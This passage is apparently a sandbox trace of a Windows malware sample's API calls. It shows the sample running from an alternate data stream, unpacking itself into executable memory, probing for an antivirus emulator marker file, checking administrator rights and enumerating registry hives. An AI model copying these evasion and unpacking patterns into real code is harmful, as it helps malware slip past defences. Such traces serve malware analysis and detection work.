dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.129] GetFocus () returned 0x0 [0026.129] GetAsyncKeyState (vKey=58) returned 0 [0026.129] GetKBCodePage () returned 0x1b5 [0026.129] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.130] GetFocus () returned 0x0 [0026.130] GetAsyncKeyState (vKey=58) returned 0 [0026.130] GetKBCodePage () returned 0x1b5 [0026.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.130] GetFocus () returned 0x0 [0026.130] GetAsyncKeyState (vKey=58) returned 0 [0026.130] GetKBCodePage () returned 0x1b5 [0026.130] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.130] GetFocus () returned 0x0 [0026.130] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0026.130] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin")) returned 0x2e [0026.130] Sleep (dwMilliseconds=0x94) [0026.284] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x76e21856) returned 0x0 [0026.285] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0026.287] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x76e21856) returned 0x0 [0026.287] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x3d0000 [0026.288] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e249d7) returned 0x0 [0026.288] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21222) returned 0x0 [0026.288] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e21856) returned 0x0 [0026.288] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x76e2435f) returned 0x0 [0026.288] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0026.288] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0026.288] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0026.288] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0026.289] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x3e0000 [0026.291] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76e10000 [0026.292] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0026.292] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0026.292] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0026.735] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0026.744] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1c70000 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x104) returned 0x1c707d0 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c708e0 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70968 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c709f0 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70a78 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70b00 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70b88 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70c10 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70c98 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70d20 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70da8 [0026.751] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70e30 [0026.752] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70eb8 [0026.752] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70f40 [0026.752] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c70fc8 [0026.752] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c71050 [0026.752] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x80) returned 0x1c710d8 [0026.752] RtlAllocateHeap (HeapHandle=0x1c70000, Flags=0x8, Size=0x400) returned 0x1c71160 [0026.752] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x2330000 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x23307d0 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x2330858 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x23308e0 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x184) returned 0x2330968 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330af8 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330b40 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330b88 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330bd0 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330c18 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330c60 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330ca8 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330cf0 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330d38 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330d80 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330dc8 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330e10 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330e58 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330ea0 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330ee8 [0026.753] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330f30 [0026.753] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin")) returned 0x2e [0026.754] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x2330f78 [0026.754] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2c) returned 0x233b828 [0026.759] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0026.759] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0026.759] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0026.759] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0026.759] GetLastError () returned 0x7a [0026.759] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x140) returned 0x233b860 [0026.759] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x233b860, TokenInformationLength=0x118, ReturnLength=0x18fbec | out: TokenInformation=0x233b860, ReturnLength=0x18fbec) returned 1 [0026.759] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x274cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0026.759] EqualSid (pSid1=0x274cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x233b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0026.759] EqualSid (pSid1=0x274cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x233b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0026.759] EqualSid (pSid1=0x274cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x233b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0026.760] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233b860) returned 1 [0026.760] NtClose (Handle=0xc4) returned 0x0 [0026.760] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233b860 [0026.760] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233b8a8 [0026.761] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x280) returned 0x233b930 [0026.761] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0026.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x233b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bc58 [0026.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x233bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bca0 [0026.766] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc58) returned 1 [0026.766] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bca0) returned 1 [0026.766] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x233b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bca0 [0026.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x233bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bc58 [0026.766] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bca0) returned 1 [0026.766] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc58) returned 1 [0026.766] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x233b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.766] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bc58 [0026.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x233bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0026.767] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bca0 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc58) returned 1 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bca0) returned 1 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.767] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x233b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0026.767] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.767] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bca0 [0026.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x233bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0026.767] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bc58 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bca0) returned 1 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc58) returned 1 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.767] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x233b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0026.767] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.767] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bc58 [0026.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x233bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0026.767] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bca0 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bc58) returned 1 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bca0) returned 1 [0026.767] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.767] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x184) returned 0x233d040 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bca0 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bc58 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bce8 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bd30 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bd78 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bdc0 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233be08 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233be50 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233be98 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bee0 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bf28 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bf70 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233bfb8 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c000 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c048 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c090 [0026.768] RegCloseKey (hKey=0x80000002) returned 0x0 [0026.768] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x233b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x233c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.768] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.768] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.768] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.768] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x233b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233bbb8 [0026.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0026.768] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.768] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.769] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233bbb8) returned 1 [0026.769] RegEnumKeyW 